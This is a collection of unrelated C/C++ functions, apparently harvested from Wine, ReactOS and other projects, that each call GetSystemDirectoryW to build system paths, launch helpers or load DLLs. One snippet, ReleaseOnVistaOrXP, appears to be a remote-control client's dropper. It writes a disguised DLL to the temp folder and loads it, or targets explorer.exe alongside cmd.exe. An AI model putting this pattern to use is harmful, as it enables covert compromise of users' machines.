BOOL WINAPI SQLInstallDriverExW(LPCWSTR lpszDriver, LPCWSTR lpszPathIn, LPWSTR lpszPathOut, WORD cbPathOutMax, WORD *pcbPathOut, WORD fRequest, LPDWORD lpdwUsageCount) { UINT len; LPCWSTR p; WCHAR path[MAX_PATH]; clear_errors(); TRACE("%s %s %p %d %p %d %p\n", debugstr_w(lpszDriver), debugstr_w(lpszPathIn), lpszPathOut, cbPathOutMax, pcbPathOut, fRequest, lpdwUsageCount); for (p = lpszDriver; *p; p += lstrlenW(p) + 1) TRACE("%s\n", debugstr_w(p)); len = GetSystemDirectoryW(path, MAX_PATH); if (pcbPathOut) *pcbPathOut = len; len = GetSystemDirectoryW(path, MAX_PATH); if (lpszPathOut && cbPathOutMax > len) { lstrcpyW(lpszPathOut, path); return TRUE; } return FALSE; }
static void GetDirectories() { WinScopedPreserveLastError s; // system directory { const UINT length = GetSystemDirectoryW(0, 0); ENSURE(length != 0); std::wstring path(length, '\0'); const UINT charsWritten = GetSystemDirectoryW(&path[0], length); ENSURE(charsWritten == length-1); systemPath = new(wutil_Allocate(sizeof(OsPath))) OsPath(path); } // executable's directory executablePath = new(wutil_Allocate(sizeof(OsPath))) OsPath(sys_ExecutablePathname().Parent()); // roaming application data roamingAppdataPath = GetFolderPath(CSIDL_APPDATA); // local application data localAppdataPath = GetFolderPath(CSIDL_LOCAL_APPDATA); // my documents personalPath = GetFolderPath(CSIDL_PERSONAL); }
static void test_GetSystemDirectoryW(void) { UINT len, len_with_null; WCHAR buf[MAX_PATH]; static const WCHAR fooW[] = {'f','o','o',0}; len_with_null = GetSystemDirectoryW(NULL, 0); if (len_with_null == 0 && GetLastError() == ERROR_CALL_NOT_IMPLEMENTED) { win_skip("GetSystemDirectoryW is not available\n"); return; } ok(len_with_null <= MAX_PATH, "should fit into MAX_PATH\n"); lstrcpyW(buf, fooW); len = GetSystemDirectoryW(buf, 1); ok(lstrcmpW(buf, fooW) == 0, "should not touch the buffer\n"); ok(len == len_with_null, "GetSystemDirectoryW returned %d, expected %d\n", len, len_with_null); lstrcpyW(buf, fooW); len = GetSystemDirectoryW(buf, len_with_null - 1); ok(lstrcmpW(buf, fooW) == 0, "should not touch the buffer\n"); ok(len == len_with_null, "GetSystemDirectoryW returned %d, expected %d\n", len, len_with_null); lstrcpyW(buf, fooW); len = GetSystemDirectoryW(buf, len_with_null); ok(lstrcmpW(buf, fooW) != 0, "should touch the buffer\n"); ok(len == lstrlenW(buf), "returned length should be equal to the length of string\n"); ok(len == len_with_null-1, "GetSystemDirectoryW returned %d, expected %d\n", len, len_with_null-1); }
int ReleaseOnVistaOrXP(const union client_cfg& cfg, bool isXP) { char szTempPath[MAX_PATH], szTempFilePath[MAX_PATH]; if(0 == GetTempPathA(MAX_PATH, szTempPath)) return -1; if(0 == GetTempFileNameA(szTempPath, "dll", 0, szTempFilePath)) return false; if(ReleaseFile(szTempFilePath, cfg, SVRCTRL_DLL) < 0) return -1; if(isXP) { char dllName[MAX_PATH] = {0}; _snprintf(dllName, MAX_PATH, "%s\\%s", szTempPath, "msvcctrl.dll"); DeleteFileA(dllName); MoveFileA(szTempFilePath, dllName); LoadLibraryA(dllName); return 0; } HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(hSnapshot == INVALID_HANDLE_VALUE) return -1; tagPROCESSENTRY32 pe; ZeroMemory(&pe, sizeof(pe)); pe.dwSize = sizeof(pe); BOOL bPR = Process32First(hSnapshot, &pe); DWORD pid = 0; while(bPR) { HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID); if (hProc != 0) CloseHandle(hProc); if(strcmp(pe.szExeFile, "explorer.exe") == 0) { pid = pe.th32ProcessID; break; } bPR = Process32Next(hSnapshot, &pe); } wchar_t filename[MAX_PATH] = {0}; int len = MultiByteToWideChar(CP_ACP, 0, szTempFilePath, strlen(szTempFilePath), NULL, 0); if(len < 0 || len > MAX_PATH) return -1; MultiByteToWideChar(CP_ACP, 0, szTempFilePath, strlen(szTempFilePath), filename, len); wchar_t szCmd[MAX_PATH] = {0}, szDir[MAX_PATH] = {0}, szPathToSelf[MAX_PATH] = {0}; wchar_t strOurDllPath[MAX_PATH] = {0}; GetSystemDirectoryW(szDir, sizeof(szDir)); GetSystemDirectoryW(szCmd, sizeof(szCmd)); wcscat(szCmd, L"\\cmd.exe"); GetModuleFileNameW(NULL, szPathToSelf, MAX_PATH); AttemptOperation( true, true, pid, L"explorer,exe", szCmd, L"", szDir, filename); return 0; }
static DWORD service_start_process(struct service_entry *service_entry, HANDLE *process) { PROCESS_INFORMATION pi; STARTUPINFOW si; LPWSTR path = NULL; DWORD size; BOOL r; service_lock_exclusive(service_entry); if (service_entry->config.dwServiceType == SERVICE_KERNEL_DRIVER) { static const WCHAR winedeviceW[] = {'\\','w','i','n','e','d','e','v','i','c','e','.','e','x','e',' ',0}; DWORD len = GetSystemDirectoryW( NULL, 0 ) + sizeof(winedeviceW)/sizeof(WCHAR) + strlenW(service_entry->name); if (!(path = HeapAlloc( GetProcessHeap(), 0, len * sizeof(WCHAR) ))) return ERROR_NOT_ENOUGH_SERVER_MEMORY; GetSystemDirectoryW( path, len ); lstrcatW( path, winedeviceW ); lstrcatW( path, service_entry->name ); } else { size = ExpandEnvironmentStringsW(service_entry->config.lpBinaryPathName,NULL,0); path = HeapAlloc(GetProcessHeap(),0,size*sizeof(WCHAR)); if (!path) return ERROR_NOT_ENOUGH_SERVER_MEMORY; ExpandEnvironmentStringsW(service_entry->config.lpBinaryPathName,path,size); } ZeroMemory(&si, sizeof(STARTUPINFOW)); si.cb = sizeof(STARTUPINFOW); if (!(service_entry->config.dwServiceType & SERVICE_INTERACTIVE_PROCESS)) { static WCHAR desktopW[] = {'_','_','w','i','n','e','s','e','r','v','i','c','e','_','w','i','n','s','t','a','t','i','o','n','\\','D','e','f','a','u','l','t',0}; si.lpDesktop = desktopW; } service_entry->status.dwCurrentState = SERVICE_START_PENDING; service_unlock(service_entry); r = CreateProcessW(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); HeapFree(GetProcessHeap(),0,path); if (!r) { service_lock_exclusive(service_entry); service_entry->status.dwCurrentState = SERVICE_STOPPED; service_unlock(service_entry); return GetLastError(); } service_entry->status.dwProcessId = pi.dwProcessId; *process = pi.hProcess; CloseHandle( pi.hThread ); return ERROR_SUCCESS; }
/************************************************************************** * WINHELP entry point * * FIXME: should go into winhlp32.exe, but we don't support 16-bit modules in executables yet. */ void WINAPI WINHELP_EntryPoint( CONTEXT86 *context ) { static const WCHAR winhlp32W[] = {'\\','w','i','n','h','l','p','3','2','.','e','x','e',0}; PDB16 *psp; INT len, total; WCHAR *cmdline, *p; PROCESS_INFORMATION info; STARTUPINFOW startup; DWORD count, exit_code = 1; InitTask16( context ); TRACE( "(ds=%x es=%x fs=%x gs=%x, bx=%04x cx=%04x di=%04x si=%x)\n", context->SegDs, context->SegEs, context->SegFs, context->SegGs, context->Ebx, context->Ecx, context->Edi, context->Esi ); psp = GlobalLock16( context->SegEs ); len = MultiByteToWideChar( CP_ACP, 0, (char *)psp->cmdLine + 1, psp->cmdLine[0], NULL, 0 ); total = (GetSystemDirectoryW( NULL, 0 ) + len + 1) * sizeof(WCHAR) + sizeof(winhlp32W); cmdline = HeapAlloc( GetProcessHeap(), 0, total ); GetSystemDirectoryW( cmdline, total ); lstrcatW( cmdline, winhlp32W ); p = cmdline + lstrlenW(cmdline); if (len) { *p++ = ' '; MultiByteToWideChar( CP_ACP, 0, (char *)psp->cmdLine + 1, psp->cmdLine[0], p, len ); p[len] = 0; } memset( &startup, 0, sizeof(startup) ); startup.cb = sizeof(startup); if (CreateProcessW( NULL, cmdline, NULL, NULL, FALSE, 0, NULL, NULL, &startup, &info )) { /* Give 10 seconds to the app to come up */ if (wait_input_idle( info.hProcess, 10000 ) == WAIT_FAILED) WARN("WaitForInputIdle failed: Error %d\n", GetLastError() ); ReleaseThunkLock( &count ); WaitForSingleObject( info.hProcess, INFINITE ); GetExitCodeProcess( info.hProcess, &exit_code ); CloseHandle( info.hThread ); CloseHandle( info.hProcess ); } else ReleaseThunkLock( &count ); HeapFree( GetProcessHeap(), 0, cmdline ); ExitThread( exit_code ); }
/*********************************************************************** * ExitWindowsEx (USER32.@) */ BOOL WINAPI ExitWindowsEx( UINT flags, DWORD reason ) { static const WCHAR winebootW[] = { '\\','w','i','n','e','b','o','o','t','.','e','x','e',0 }; static const WCHAR killW[] = { ' ','-','-','k','i','l','l',0 }; static const WCHAR end_sessionW[] = { ' ','-','-','e','n','d','-','s','e','s','s','i','o','n',0 }; static const WCHAR forceW[] = { ' ','-','-','f','o','r','c','e',0 }; static const WCHAR shutdownW[] = { ' ','-','-','s','h','u','t','d','o','w','n',0 }; WCHAR cmdline[MAX_PATH + 64]; PROCESS_INFORMATION pi; STARTUPINFOW si; GetSystemDirectoryW( cmdline, MAX_PATH ); lstrcatW( cmdline, winebootW ); if (flags & EWX_FORCE) lstrcatW( cmdline, killW ); else { lstrcatW( cmdline, end_sessionW ); if (flags & EWX_FORCEIFHUNG) lstrcatW( cmdline, forceW ); } if (!(flags & EWX_REBOOT)) lstrcatW( cmdline, shutdownW ); memset( &si, 0, sizeof si ); si.cb = sizeof si; if (!CreateProcessW( NULL, cmdline, NULL, NULL, FALSE, DETACHED_PROCESS, NULL, NULL, &si, &pi )) { ERR( "Failed to run %s\n", debugstr_w(cmdline) ); return FALSE; } CloseHandle( pi.hProcess ); CloseHandle( pi.hThread ); return TRUE; }
int WINAPI wWinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPWSTR cmdline, int cmdshow) { static const WCHAR wscriptW[] = {'\\','w','s','c','r','i','p','t','.','e','x','e',0}; static const WCHAR parbW[] = {' ','/','B',' ',0}; WCHAR app[MAX_PATH]; WCHAR cmd[MAX_PATH]; PROCESS_INFORMATION pi; BOOL ret; DWORD exitcode; STARTUPINFOW si = { sizeof(si) }; WINE_FIXME("(%p %p %s %x) forwarding to wscript\n", hInst, hPrevInst, wine_dbgstr_w(cmdline), cmdshow); GetSystemDirectoryW(app, MAX_PATH); strcatW(app, wscriptW); strcpyW(cmd, app); strcatW(app, parbW); strcatW(app, cmdline); if (!CreateProcessW(app, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) return 1; WaitForSingleObject( pi.hProcess, INFINITE ); ret = GetExitCodeProcess(pi.hProcess, &exitcode); CloseHandle( pi.hProcess ); CloseHandle( pi.hThread ); if (ret) return exitcode; else return 1; }
BOOL WINAPI SQLInstallDriverManagerW(LPWSTR lpszPath, WORD cbPathMax, WORD *pcbPathOut) { UINT len; WCHAR path[MAX_PATH]; TRACE("(%p %d %p)\n", lpszPath, cbPathMax, pcbPathOut); if (cbPathMax < MAX_PATH) return FALSE; clear_errors(); len = GetSystemDirectoryW(path, MAX_PATH); if (pcbPathOut) *pcbPathOut = len; if (lpszPath && cbPathMax > len) { lstrcpyW(lpszPath, path); return TRUE; } return FALSE; }
int rtldrNativeLoadSystem(const char *pszFilename, const char *pszExt, uint32_t fFlags, PRTLDRMOD phLdrMod) { /* * We only try the System32 directory. */ WCHAR wszSysDir[MAX_PATH]; UINT cwcSysDir = GetSystemDirectoryW(wszSysDir, MAX_PATH); if (cwcSysDir >= MAX_PATH) return VERR_FILENAME_TOO_LONG; char szPath[RTPATH_MAX]; char *pszPath = szPath; int rc = RTUtf16ToUtf8Ex(wszSysDir, RTSTR_MAX, &pszPath, sizeof(szPath), NULL); if (RT_SUCCESS(rc)) { rc = RTPathAppend(szPath, sizeof(szPath), pszFilename); if (pszExt && RT_SUCCESS(rc)) rc = RTStrCat(szPath, sizeof(szPath), pszExt); if (RT_SUCCESS(rc)) { if (RTFileExists(szPath)) rc = RTLdrLoadEx(szPath, phLdrMod, fFlags, NULL); else rc = VERR_MODULE_NOT_FOUND; } } return rc; }
BOOL WINAPI BaseGetVdmConfigInfo(IN LPCWSTR CommandLineReserved, IN ULONG DosSeqId, IN ULONG BinaryType, IN PUNICODE_STRING CmdLineString, OUT PULONG VdmSize) { WCHAR Buffer[MAX_PATH]; WCHAR CommandLine[MAX_PATH * 2]; ULONG Length; /* Clear the buffer in case we fail */ CmdLineString->Buffer = 0; /* Always return the same size: 16 Mb */ *VdmSize = 0x1000000; /* Get the system directory */ Length = GetSystemDirectoryW(Buffer, MAX_PATH); if (!(Length) || (Length >= MAX_PATH)) { /* Eliminate no path or path too big */ SetLastError(ERROR_INVALID_NAME); return FALSE; } /* Check if this is VDM with a DOS Sequence ID */ if (DosSeqId) { /* * Build the VDM string for it: * -i%lx : Gives the DOS Sequence ID; * %s%c : Nothing if DOS VDM, -w if WoW VDM, -ws if separate WoW VDM. */ _snwprintf(CommandLine, sizeof(CommandLine), L"\"%s\\ntvdm.exe\" -i%lx %s%c", Buffer, DosSeqId, (BinaryType == BINARY_TYPE_DOS) ? L" " : L"-w", (BinaryType == BINARY_TYPE_SEPARATE_WOW) ? L's' : L' '); } else { /* * Build the string for it without the DOS Sequence ID: * %s%c : Nothing if DOS VDM, -w if WoW VDM, -ws if separate WoW VDM. */ _snwprintf(CommandLine, sizeof(CommandLine), L"\"%s\\ntvdm.exe\" %s%c", Buffer, (BinaryType == BINARY_TYPE_DOS) ? L" " : L"-w", (BinaryType == BINARY_TYPE_SEPARATE_WOW) ? L's' : L' '); } /* Create the actual string */ return RtlCreateUnicodeString(CmdLineString, CommandLine); }
/**************************************************************************** * SHGetStockIconInfo [SHELL32.@] * * Receive information for builtin icons * * PARAMS * id [I] selected icon-id to get information for * flags [I] selects the information to receive * sii [IO] SHSTOCKICONINFO structure to fill * * RETURNS * Success: S_OK * Failure: A HRESULT failure code * */ HRESULT WINAPI SHGetStockIconInfo(SHSTOCKICONID id, UINT flags, SHSTOCKICONINFO *sii) { static const WCHAR shell32dll[] = {'\\','s','h','e','l','l','3','2','.','d','l','l',0}; FIXME("(%d, 0x%x, %p) semi-stub\n", id, flags, sii); if ((id < 0) || (id >= SIID_MAX_ICONS) || !sii || (sii->cbSize != sizeof(SHSTOCKICONINFO))) { return E_INVALIDARG; } GetSystemDirectoryW(sii->szPath, MAX_PATH); /* no icons defined: use default */ sii->iIcon = -IDI_SHELL_DOCUMENT; lstrcatW(sii->szPath, shell32dll); if (flags) FIXME("flags 0x%x not implemented\n", flags); sii->hIcon = NULL; sii->iSysImageIndex = -1; TRACE("%3d: returning %s (%d)\n", id, debugstr_w(sii->szPath), sii->iIcon); return S_OK; }
static DWORD DoRegServer(void) { static const WCHAR msiserverW[] = {'M','S','I','S','e','r','v','e','r',0}; static const WCHAR msiexecW[] = {'\\','m','s','i','e','x','e','c',' ','/','V',0}; SC_HANDLE scm, service; WCHAR path[MAX_PATH+12]; DWORD len, ret = 0; if (!(scm = OpenSCManagerW(NULL, SERVICES_ACTIVE_DATABASEW, SC_MANAGER_CREATE_SERVICE))) { fprintf(stderr, "Failed to open the service control manager.\n"); return 1; } len = GetSystemDirectoryW(path, MAX_PATH); lstrcpyW(path + len, msiexecW); if ((service = CreateServiceW(scm, msiserverW, msiserverW, GENERIC_ALL, SERVICE_WIN32_SHARE_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, path, NULL, NULL, NULL, NULL, NULL))) { CloseServiceHandle(service); } else if (GetLastError() != ERROR_SERVICE_EXISTS) { fprintf(stderr, "Failed to create MSI service\n"); ret = 1; } CloseServiceHandle(scm); return ret; }
static BOOL start_rpcss(void) { PROCESS_INFORMATION pi; STARTUPINFOW si; WCHAR cmd[MAX_PATH]; static const WCHAR rpcss[] = {'\\','r','p','c','s','s','.','e','x','e',0}; BOOL rslt; void *redir; TRACE("\n"); ZeroMemory(&si, sizeof(STARTUPINFOA)); si.cb = sizeof(STARTUPINFOA); GetSystemDirectoryW( cmd, MAX_PATH - sizeof(rpcss)/sizeof(WCHAR) ); lstrcatW( cmd, rpcss ); Wow64DisableWow64FsRedirection( &redir ); rslt = CreateProcessW( cmd, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi ); Wow64RevertWow64FsRedirection( redir ); if (rslt) { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); Sleep(100); } return rslt; }
int CALLBACK wWinMain(HINSTANCE hInstance, HINSTANCE hOldInstance, LPWSTR szCmdParagraph, int res) { WCHAR path[MAX_PATH]; STARTUPINFOW stinf; PROCESS_INFORMATION info; if (!GetSystemDirectoryW(path, MAX_PATH - 1 - lstrlenW(SZ_WORDPAD))) goto failed; if (path[lstrlenW(path) - 1] != '\\') lstrcatW(path, SZ_BACKSLASH); lstrcatW(path, SZ_WORDPAD); ZeroMemory(&stinf, sizeof(stinf)); stinf.cb = sizeof(stinf); GetStartupInfoW(&stinf); if (!CreateProcessW(path, GetCommandLineW(), NULL, NULL, FALSE, 0, NULL, NULL, &stinf, &info)) goto failed; CloseHandle(info.hProcess); CloseHandle(info.hThread); return 0; failed: LoadStringW(GetModuleHandleW(NULL), IDS_FAILED, path, MAX_PATH); MessageBoxW(NULL, path, NULL, MB_OK|MB_ICONERROR); return 1; }
HMODULE safeLoadSystemDLL(_In_z_ LPCTSTR dllName) { WCHAR fullPath[MAX_PATH]; DWORD length = 0; if (dllName == NULL) { return NULL; } length = GetSystemDirectoryW(fullPath, MAX_PATH); if (length == 0 || length > MAX_PATH) { return NULL; } if (FAILED(StringCchCatW(fullPath, MAX_PATH, L"\\"))) { return NULL; } if (FAILED(StringCchCatW(fullPath, MAX_PATH, dllName))) { return NULL; } return LoadLibrary(fullPath); }
QStringList ScPaths::getSystemProfilesDirs(void) { QStringList iccProfDirs; #ifdef Q_OS_MAC iccProfDirs.append(QDir::homePath()+"/Library/ColorSync/Profiles/"); iccProfDirs.append("/System/Library/ColorSync/Profiles/"); iccProfDirs.append("/Library/ColorSync/Profiles/"); #elif defined(Q_WS_X11) iccProfDirs.append(QDir::homePath()+"/color/icc/"); iccProfDirs.append(QDir::homePath()+"/.color/icc/"); iccProfDirs.append("/usr/share/color/icc/"); iccProfDirs.append("/usr/local/share/color/icc/"); #elif defined(_WIN32) // On Windows it's more complicated, profiles location depends on OS version WCHAR sysDir[MAX_PATH + 1]; OSVERSIONINFO osVersion; ZeroMemory( &osVersion, sizeof(OSVERSIONINFO)); osVersion.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); // Necessary for GetVersionEx to succeed GetVersionEx(&osVersion); // Get Windows version infos GetSystemDirectoryW( sysDir, MAX_PATH ); // getSpecialDir(CSIDL_SYSTEM) fails on Win9x QString winSysDir = QString::fromUtf16((const ushort*) sysDir); winSysDir = winSysDir.replace('\\','/'); if( osVersion.dwPlatformId == VER_PLATFORM_WIN32_NT ) // Windows NT/2k/XP { if( osVersion.dwMajorVersion >= 5 ) // for 2k and XP dwMajorVersion == 5 iccProfDirs.append( winSysDir + "/Spool/Drivers/Color/"); } else if( osVersion.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS ) // Windows 9x/Me { if( osVersion.dwMajorVersion >= 4 && osVersion.dwMinorVersion >= 10) // Win98 or WinMe iccProfDirs.append( winSysDir + "/Color/"); } #endif return iccProfDirs; }
/* Open the log file * TODO: format like standard apache error.log * Add the EventLogger */ HANDLE apxLogOpen( APXHANDLE hPool, LPCWSTR szPath, LPCWSTR szPrefix) { WCHAR sPath[MAX_PATH+1]; WCHAR sName[MAX_PATH+1]; SYSTEMTIME sysTime; apx_logfile_st *h; GetLocalTime(&sysTime); if (!szPath) { if (GetSystemDirectoryW(sPath, MAX_PATH) == 0) return INVALID_HANDLE_VALUE; lstrcatW(sPath, L"\\LogFiles\\"); if (!szPrefix) lstrcatW(sPath, L"Apache"); else lstrcatW(sPath, szPrefix); wsprintfW(sName, L"\\%04d%02d%02d.log", sysTime.wYear, sysTime.wMonth, sysTime.wDay); } else { lstrcpyW(sPath, szPath); if (szPrefix) wsprintfW(sName, L"\\%s", szPrefix); else wsprintfW(sName, L"\\jakarta_service_%04d%02d%02d.log", sysTime.wYear, sysTime.wMonth, sysTime.wDay); } if (!(h = (apx_logfile_st *)apxPoolCalloc(hPool, sizeof(apx_logfile_st)))) return NULL; /* Set default level to info */ h->dwLogLevel = APXLOG_LEVEL_INFO; CreateDirectoryW(sPath, NULL); h->sysTime = sysTime; lstrcpyW(h->szPath, sPath); lstrcatW(sPath, sName); if (szPrefix) lstrcpyW(h->szPrefix, szPrefix); h->hFile = CreateFileW(sPath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_WRITE_THROUGH, NULL); /* Set this file as system log file */ if (!_st_sys_loghandle) _st_sys_loghandle = h; return (HANDLE)h; }
VDStringW VDGetSystemPathNT() { wchar_t path[MAX_PATH]; if (!GetSystemDirectoryW(path, MAX_PATH)) throw MyWin32Error("Cannot locate system directory: %%s", GetLastError()); return VDStringW(path); }
static QString getWindowsSystemPath() { WCHAR pSystemPath[MAX_PATH]; UINT nCopied = GetSystemDirectoryW(pSystemPath, sizeof(pSystemPath) / sizeof(WCHAR)); if (nCopied) return QString::fromWCharArray(pSystemPath, nCopied); else return ""; }
QString Utils::Misc::windowsSystemPath() { static const QString path = []() -> QString { WCHAR systemPath[64] = {0}; GetSystemDirectoryW(systemPath, sizeof(systemPath) / sizeof(WCHAR)); return QString::fromWCharArray(systemPath); }(); return path; }
bool XInputInitialize() { if (xinput.dll) return true; WCHAR buffer[MAX_PATH]; GetSystemDirectoryW(buffer,MAX_PATH); std::wstring str(buffer); str.append(L"\\"); str.append(ModuleFileNameW(CURRENT_MODULE)); bool bHookLL = false; if(pHooks) { bHookLL = pHooks->GetState(iHook::HOOK_LL); if(bHookLL) pHooks->DisableHook(iHook::HOOK_LL); } PrintLog("Loading %ls",str.c_str()); xinput.dll = LoadLibraryW(str.c_str()); if(bHookLL) pHooks->EnableHook(iHook::HOOK_LL); if (!xinput.dll) { HRESULT hr = GetLastError(); swprintf_s(buffer,L"Cannot load %s error: 0x%x", str.c_str(), hr); PrintLog("%s", buffer); MessageBoxW(NULL,buffer,L"Error",MB_ICONERROR); ExitProcess(hr); } // XInput 1.3 and older functions LoadFunction(xinput, XInputGetState); LoadFunction(xinput, XInputSetState); LoadFunction(xinput, XInputGetCapabilities); LoadFunction(xinput, XInputEnable); LoadFunction(xinput, XInputGetDSoundAudioDeviceGuids); LoadFunction(xinput, XInputGetBatteryInformation); LoadFunction(xinput, XInputGetKeystroke); // XInput 1.3 undocumented functions LoadFunctionOrdinal(xinput, 100, XInputGetStateEx); LoadFunctionOrdinal(xinput, 101, XInputWaitForGuideButton); LoadFunctionOrdinal(xinput, 102, XInputCancelGuideButtonWait); LoadFunctionOrdinal(xinput, 103, XInputPowerOffController); // XInput 1.4 functions LoadFunction(xinput, XInputGetAudioDeviceIds); // XInput 1.4 undocumented functionss LoadFunctionOrdinal(xinput, 104, XInputGetBaseBusInformation); LoadFunctionOrdinal(xinput, 108, XInputGetCapabilitiesEx); return true; }
BOOL WINAPI BaseGetVdmConfigInfo(IN LPCWSTR Reserved, IN ULONG DosSeqId, IN ULONG BinaryType, IN PUNICODE_STRING CmdLineString, OUT PULONG VdmSize) { WCHAR Buffer[MAX_PATH]; WCHAR CommandLine[MAX_PATH * 2]; ULONG Length; /* Clear the buffer in case we fail */ CmdLineString->Buffer = 0; /* Always return the same size */ *VdmSize = 0x1000000; /* Get the system directory */ Length = GetSystemDirectoryW(Buffer, MAX_PATH); if (!(Length) || (Length >= MAX_PATH)) { /* Eliminate no path or path too big */ SetLastError(ERROR_INVALID_NAME); return FALSE; } /* Check if this is VDM with a DOS Sequence ID */ if (DosSeqId) { /* Build the VDM string for it */ _snwprintf(CommandLine, sizeof(CommandLine), L"\"%s\\ntvdm.exe\" -i%lx %s%c", Buffer, DosSeqId, (BinaryType == 0x10) ? L" " : L"-w", (BinaryType == 0x40) ? 's' : ' '); } else { /* Non-DOS, build the string for it without the task ID */ _snwprintf(CommandLine, sizeof(CommandLine), L"\"%s\\ntvdm.exe\" %s%c", Buffer, (BinaryType == 0x10) ? L" " : L"-w", (BinaryType == 0x40) ? 's' : ' '); } /* Create the actual string */ return RtlCreateUnicodeString(CmdLineString, CommandLine); }
static WCHAR *get_full_name(const WCHAR *path, WCHAR **relative_path) { static const WCHAR tasksW[] = { '\\','t','a','s','k','s','\\',0 }; WCHAR *target; int len; len = GetSystemDirectoryW(NULL, 0); len += strlenW(tasksW) + strlenW(path); target = heap_alloc(len * sizeof(WCHAR)); if (target) { GetSystemDirectoryW(target, len); strcatW(target, tasksW); if (relative_path) *relative_path = target + strlenW(target) - 1; while (*path == '\\') path++; strcatW(target, path); } return target; }
static WINBASEAPI UINT WINAPI GetSystemDirectoryUW(LPSTR lpBuffer, UINT uSize) { if (!lpBuffer || uSize == 0) { // String not specified. Don't bother converting anything. return GetSystemDirectoryW((LPWSTR)lpBuffer, uSize); } // Allocate a buffer for the filename. wchar_t *lpwBuffer = (wchar_t*)malloc(uSize * sizeof(wchar_t)); UINT uRet = GetSystemDirectoryW(lpwBuffer, uSize); if (uRet == 0) { free(lpwBuffer); return uRet; } // Convert the filename from UTF-16 to UTF-8. WideCharToMultiByte(CP_UTF8, 0, lpwBuffer, -1, lpBuffer, uSize, NULL, NULL); free(lpwBuffer); return uRet; }
HRESULT WINAPI GetImmFileName(PWSTR lpBuffer, UINT uSize) { UINT length; STRSAFE_LPWSTR Safe = lpBuffer; length = GetSystemDirectoryW(lpBuffer, uSize); if ( length && length < uSize ) { StringCchCatW(Safe, uSize, L"\\"); return StringCchCatW(Safe, uSize, L"imm32.dll"); } return StringCchCopyW(Safe, uSize, L"imm32.dll"); }
HMODULE LoadLibrarySystem(const std::wstring& library_name, std::wstring* out_path) { std::unique_ptr<wchar_t[]> system_directory(new wchar_t[MAX_PATH]); GetSystemDirectoryW(system_directory.get(), MAX_PATH); std::wstring lib_path(system_directory.get()); StringPathAppend(&lib_path, library_name); if (out_path) *out_path = lib_path; return LoadLibraryW(lib_path.c_str()); }
int wmain(int argc, WCHAR **argv) { WCHAR szDllBuffer[MAX_PATH]; PCOMMAND cmdptr; int nResult = 0; BOOL bRun = FALSE; /* Initialize the Console Standard Streams */ ConInitStdStreams(); /* Load netmsg.dll */ GetSystemDirectoryW(szDllBuffer, ARRAYSIZE(szDllBuffer)); wcscat(szDllBuffer, L"\\netmsg.dll"); hModuleNetMsg = LoadLibrary(szDllBuffer); if (hModuleNetMsg == NULL) { ConPrintf(StdErr, L"Failed to load netmsg.dll\n"); return 1; } if (argc < 2) { nResult = 1; goto done; } /* Scan the command table */ for (cmdptr = cmds; cmdptr->name; cmdptr++) { if (_wcsicmp(argv[1], cmdptr->name) == 0) { nResult = cmdptr->func(argc, argv); bRun = TRUE; break; } } done: if (bRun == FALSE) { PrintMessageString(4381); ConPuts(StdOut, L"\n"); PrintNetMessage(MSG_NET_SYNTAX); } if (hModuleNetMsg != NULL) FreeLibrary(hModuleNetMsg); return nResult; }
/*********************************************************************** * CryptCATAdminAcquireContext (WINTRUST.@) * * Get a catalog administrator context handle. * * PARAMS * catAdmin [O] Pointer to the context handle. * sys [I] Pointer to a GUID for the needed subsystem. * dwFlags [I] Reserved. * * RETURNS * Success: TRUE. catAdmin contains the context handle. * Failure: FALSE. * */ BOOL WINAPI CryptCATAdminAcquireContext(HCATADMIN *catAdmin, const GUID *sys, DWORD dwFlags) { static const WCHAR catroot[] = {'\\','c','a','t','r','o','o','t',0}; static const WCHAR fmt[] = { '%','s','\\','{','%','0','8','x','-','%','0','4','x','-','%','0', '4','x','-','%','0','2','x','%','0','2','x','-','%','0','2','x', '%','0','2','x','%','0','2','x','%','0','2','x','%','0','2','x', '%','0','2','x','}',0 }; static const GUID defsys = {0x127d0a1d,0x4ef2,0x11d1,{0x86,0x08,0x00,0xc0,0x4f,0xc2,0x95,0xee}}; WCHAR catroot_dir[MAX_PATH]; struct catadmin *ca; TRACE("%p %s %x\n", catAdmin, debugstr_guid(sys), dwFlags); if (!catAdmin) { SetLastError(ERROR_INVALID_PARAMETER); return FALSE; } if (!(ca = HeapAlloc(GetProcessHeap(), 0, sizeof(*ca)))) { SetLastError(ERROR_OUTOFMEMORY); return FALSE; } GetSystemDirectoryW(catroot_dir, MAX_PATH); strcatW(catroot_dir, catroot); /* create the directory if it doesn't exist */ CreateDirectoryW(catroot_dir, NULL); if (!sys) sys = &defsys; sprintfW(ca->path, fmt, catroot_dir, sys->Data1, sys->Data2, sys->Data3, sys->Data4[0], sys->Data4[1], sys->Data4[2], sys->Data4[3], sys->Data4[4], sys->Data4[5], sys->Data4[6], sys->Data4[7]); /* create the directory if it doesn't exist */ CreateDirectoryW(ca->path, NULL); ca->magic = CATADMIN_MAGIC; ca->find = INVALID_HANDLE_VALUE; *catAdmin = ca; return TRUE; }
